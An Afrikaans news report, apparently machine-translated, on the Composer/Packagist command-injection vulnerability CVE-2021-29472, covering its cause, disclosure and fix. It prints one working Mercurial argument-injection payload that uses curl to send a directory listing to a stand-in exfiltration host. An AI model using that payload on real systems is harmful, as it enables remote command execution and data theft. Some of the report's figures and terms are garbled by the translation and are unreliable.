Kwesbaarheid in die Composer-pakketbestuurder wat die kompromie van die Packagist PHP-bewaarplek toelaat

'n Kritieke kwesbaarheid (CVE-2021-29472) is geïdentifiseer in die Composer-afhanklikheidsbestuurder wat toelaat dat arbitrêre opdragte op die stelsel uitgevoer word wanneer 'n pakket met 'n spesiaal geformateerde URL-waarde verwerk word wat die adres vir die aflaai van die bronkode spesifiseer. Die probleem kom voor in die GitDriver-, SvnDriver- en HgDriver-komponente wat gebruik word wanneer Git-, Subversion- en Mercurial-bronbeheerstelsels gebruik word. Die kwesbaarheid is opgelos in Composer-vrystellings 1.10.22 en 2.0.13.

Daar word spesifiek opgemerk dat die probleem hoofsaaklik Composer se verstekpakketbewaarplek, Packagist, geraak het, wat 306 1.4 pakkette vir PHP-ontwikkelaars bevat en meer as XNUMX miljard aflaaie per maand bedien. Die eksperiment het getoon dat as daar kennis van die probleem was, aanvallers beheer oor die Packagist-infrastruktuur kan verkry en die geloofsbriewe van onderhouers kan onderskep of pakketaflaaie na 'n derdeparty-bediener kan herlei, en die aflewering van pakketvariante met kwaadwillige veranderinge kan organiseer om 'n agterdeur te vervang tydens die afhanklikheidsinstallasieproses.

Die gevaar vir eindgebruikers is beperk tot die feit dat die inhoud van composer.json gewoonlik deur die gebruiker bepaal word, en bronskakels word oorgedra wanneer toegang tot derdeparty-bewaarplekke verkry word, wat gewoonlik betroubaar is. Die grootste slag het geval op die Packagist.org-bewaarplek en die Private Packagist-diens, wat Composer gebel het met die oordrag van data wat van gebruikers ontvang is. Aanvallers kan hul kode op Packagist-bedieners uitvoer deur 'n spesiaal ontwerpte pakket te plaas.

Die Packagist-span het die kwesbaarheid reggestel binne 12 uur nadat die kwesbaarheid aangemeld is. Die navorsers het die Packagist-ontwikkelaars op 22 April privaat in kennis gestel, en die probleem is dieselfde dag reggestel. ’n Publieke opdatering aan Composer wat die kwesbaarheid aanspreek, is op 27 April gepubliseer, met besonderhede wat op 28 April onthul is. 'n Oudit van logs op Packagist-bedieners het geen verdagte aktiwiteit met betrekking tot die kwesbaarheid aan die lig gebring nie.

Die probleem word veroorsaak deur 'n fout in die URL-bekragtigingskode in die root composer.json-lêer en bronaflaaiskakels. Die fout is sedert November 2011 in die kode aanwesig. Packagist gebruik spesiale lae om kode-laai te organiseer sonder om aan 'n spesifieke bronbeheerstelsel gekoppel te wees, wat uitgevoer word deur "fromShellCommandline" te roep en opdragreëlargumente deur te gee. Byvoorbeeld, vir git, word die opdrag "git ls-remote -heads $URL" genoem, waar die URL verwerk word met die "ProcessExecutor::escape($url)" metode, wat moontlik gevaarlike konstrukte soos "$(. ..)" of "` ...`".

Die kern van die probleem is dat die ProcessExecutor::escape-metode nie die "—"-volgorde ontsnap het nie, wat toegelaat het dat enige bykomende oproepparameter in die URL gespesifiseer kon word. Sulke ontsnapping was ontbreek in die GitDriver.php-, SvnDriver.php- en HgDriver.php-bestuurders. Die GitDriver.php-aanval is belemmer deur die feit dat die "git ls-remote"-opdrag nie die spesifikasie van bykomende argumente na die pad ondersteun het nie. 'n Aanval op HgDriver.php blyk moontlik te wees deur die “--config” parameter na die “hq” nut deur te gee, wat jou toelaat om die uitvoering van enige opdrag te organiseer deur die “alias.identify” instelling te manipuleer. Byvoorbeeld, om kode af te laai en uit te voer deur die krul-nutsding uit te voer, kan jy spesifiseer: —config=alias.identify=!curl http://exfiltration-host.tld —data "$(ls -alh)"

Deur 'n toetspakket met 'n soortgelyke URL na Packagist te plaas, het die navorsers geverifieer dat hul bediener na die plasing 'n HTTP-versoek van een van die Packagist-bedieners in AWS ontvang het wat 'n lys van lêers in die huidige gids bevat.

Bron: opennet.ru

Voeg 'n opmerking